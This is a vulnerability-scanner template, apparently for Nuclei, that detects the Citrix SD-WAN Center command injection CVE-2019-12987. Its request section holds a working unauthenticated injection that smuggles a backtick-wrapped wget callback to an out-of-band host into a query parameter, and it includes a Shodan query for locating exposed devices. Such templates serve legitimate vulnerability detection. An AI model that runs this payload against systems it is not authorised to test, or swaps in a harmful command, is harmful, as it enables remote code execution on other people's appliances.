id: CVE-2019-12987

info:
  name: Citrix SD-WAN Center - Remote Command Injection
  author: gy741
  severity: critical
  description: |
    Citrix SD-WAN Center is susceptible to remote command injection via the apply action in StorageMgmtController. The callStoragePerl function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying an array value with crafted values for action, host, path, or type, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
  remediation: |
    Apply the latest security patches provided by Citrix to mitigate the vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2019-31
    - https://support.citrix.com/article/CTX251987
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12987
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-12987
    cwe-id: CWE-78
    epss-score: 0.97438
    epss-percentile: 0.99938
    cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: citrix
    product: netscaler_sd-wan
    shodan-query: http.title:"Citrix SD-WAN"
  tags: citrix,rce,unauth,oast,tenable,cve,cve2019

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}
      - |+
        GET /Collector/storagemgmt/apply?data%5B0%5D%5Bhost%5D=%60/bin/wget+http://{{interactsh-url}}%60&data%5B0%5D%5Bpath%5D=mypath&data%5B0%5D%5Btype%5D=mytype HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    unsafe: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "<title>Citrix SD-WAN</title>")'

      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

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